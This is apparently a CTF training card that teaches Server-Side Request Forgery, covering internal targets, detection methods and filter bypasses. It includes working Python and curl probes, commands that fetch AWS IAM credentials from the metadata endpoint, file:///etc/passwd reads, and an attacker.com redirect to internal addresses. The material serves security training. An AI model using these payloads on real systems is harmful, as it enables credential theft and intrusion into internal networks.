Browse CTFs New CTF Sign in

Basic SSRF Exploitation: Internal Service Enumeration via Server-Side URL Fetch Manipulation

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Security Assessment Methodology

Server-Side Request Forgery (SSRF) occurs when an attacker can cause a server to issue HTTP (or other protocol) requests to an attacker-chosen destination. Because the request originates from the server's internal network perspective, it can reach services that are inaccessible from the public internet: cloud instance metadata endpoints, internal APIs, adjacent microservices, and data stores bound to loopback interfaces.

Classic SSRF targets:

  • AWS IMDSv1 at http://169.254.169.254/latest/meta-data/ — returns IAM role credentials, instance identity, and user-data scripts. Accessible from any EC2 instance without authentication under IMDSv1.
  • Redis at http://localhost:6379 — if the server follows HTTP redirects or accepts dict:// URLs, it is possible to issue Redis commands, rewrite config files, or read cached secrets.
  • Elasticsearch at http://localhost:9200 — REST API requires no authentication in default installs; /_cat/indices lists all indices, /_search dumps documents.
  • Internal Kubernetes API server at https://10.96.0.1:443 — service account tokens mounted in pods may grant cluster-admin equivalent rights.

Detection techniques:

  1. Error message analysis: a URL-fetch parameter that returns a different error for http://192.168.1.1 than for http://notexists.invalid confirms that the server is resolving and connecting to the supplied host.
  2. Timing differences: a request to an RFC 1918 address that times out after exactly the server's TCP connect timeout (e.g., 5 s) versus an immediate rejection for a publicly routable non-responsive IP reveals internal network topology.
  3. Out-of-band callback (OOB): submit a URL pointing to a Burp Collaborator or interactsh listener. A DNS lookup or HTTP request arriving at the listener confirms blind SSRF even when the server's response carries no body.

Filter bypass techniques:

  • Octal IP: http://0177.0.0.1/ decodes to 127.0.0.1 in POSIX inet_aton but may bypass naive string matching for "localhost" or "127.".
  • Decimal (integer) IP: http://2130706433/ is 127.0.0.1 expressed as a 32-bit decimal integer. Many URL parsers accept this form; fewer deny-lists check for it.
  • IPv6 loopback: http://[::1]/ — equivalent to 127.0.0.1; deny-lists that check for 127.0.0.1 literally miss this form.
  • IPv6 mapped: http://[::ffff:127.0.0.1]/ — IPv4-mapped IPv6 address; same effect.
  • DNS rebinding: register a domain that initially resolves to an attacker-controlled IP (passing the allow-list check) then re-resolves to 127.0.0.1 before the actual HTTP connection (TOCTOU on DNS resolution).
  • URL parser confusion: supply http://[email protected]/ — some parsers treat the part before @ as credentials and the part after as the host; others treat attacker.com as the host.

Technical Deep-Dive

# Probe for SSRF via OOB — send a request with a collaborator URL and observe DNS/HTTP
import requests, uuid

COLLABORATOR = "https://<your-interactsh-or-collaborator-id>.oast.fun"
TARGET_PARAM = "url"   # query parameter or JSON key that triggers the fetch
TARGET_URL   = "https://target.example.com/fetch"

probe_id = str(uuid.uuid4())[:8]
payload_url = f"{COLLABORATOR}/{probe_id}"

resp = requests.post(TARGET_URL, json={TARGET_PARAM: payload_url}, timeout=10)
print(f"[*] HTTP status: {resp.status_code}")
print(f"[*] Check collaborator for interaction ID: {probe_id}")
# If the collaborator records a hit, the endpoint is vulnerable to blind SSRF.
# Bypass: test multiple IP representations for 127.0.0.1
import ipaddress, struct

ip = ipaddress.IPv4Address("127.0.0.1")
packed = struct.pack(">I", int(ip))
decimal_form   = int(ip)                          # 2130706433
octal_form     = ".".join(f"0{oct(b)[2:]}" for b in packed)  # 0177.0.0.1
hex_form       = "0x" + packed.hex()              # 0x7f000001

representations = [
    "127.0.0.1",
    "localhost",
    "[::1]",
    "[::ffff:127.0.0.1]",
    str(decimal_form),
    octal_form,
    hex_form,
]

for rep in representations:
    url = f"http://{rep}:8080/internal"
    print(f"[*] Trying: {url}")
    # Submit url to the SSRF parameter and compare responses
# Test SSRF against AWS metadata endpoint (from inside EC2 or via SSRF)
curl -s "http://169.254.169.254/latest/meta-data/"
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Follow up: GET /<role-name> to retrieve AccessKeyId, SecretAccessKey, Token

# DNS rebinding PoC — set DNS TTL=0, toggle A record between allowed_ip and 127.0.0.1
# Use rebinder.net or singularity-of-origin for automated rebinding attacks

# Detect SSRF via timing (no OOB needed) — internal RFC-1918 address times out,
# public non-routable address returns connection refused immediately:
time curl -s --max-time 5 "https://target.example.com/fetch?url=http://10.0.0.1:6379"
time curl -s --max-time 5 "https://target.example.com/fetch?url=http://198.51.100.1:6379"
# Significant time difference => internal host exists at 10.0.0.1

Common Assessment Errors

1. Assuming only HTTP is exploitable. Many frameworks support file://, dict://, gopher://, ftp://, and ldap:// URL schemes in their HTTP client libraries. Always test non-HTTP schemes; file:///etc/passwd and dict://localhost:6379/INFO may work even when http:// is filtered.

2. Not testing redirects. A deny-list that blocks direct requests to 169.254.169.254 may not block a request to http://attacker.com/redirect that returns Location: http://169.254.169.254/.... Test whether the server follows redirects, and if so, whether the deny-list is re-evaluated after the redirect.

3. Ignoring IPv6. Many SSRF filters check for 127.0.0.1 and localhost but omit ::1 and ::ffff:127.0.0.1. If the target server has IPv6 enabled on its loopback interface, IPv6 representations may bypass the filter entirely.

4. Stopping after confirming SSRF. SSRF is an access primitive, not a final impact. The value lies in what internal services can be reached. Always enumerate: cloud metadata, Redis, Elasticsearch, internal admin panels, and Kubernetes APIs. Document the full blast radius, not just the trigger.

5. Using Burp Collaborator as the only OOB channel. Some environments block outbound HTTP/HTTPS but permit DNS. When Burp Collaborator HTTP callbacks do not arrive, check DNS callbacks separately — they often succeed through corporate firewalls.

6. Confusing blind SSRF with non-SSRF errors. A uniform "invalid URL" error for all inputs — both internal and external — does not confirm absence of SSRF; the server may fetch the URL and suppress the response. Use timing and OOB DNS to distinguish genuine filtering from response suppression.

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.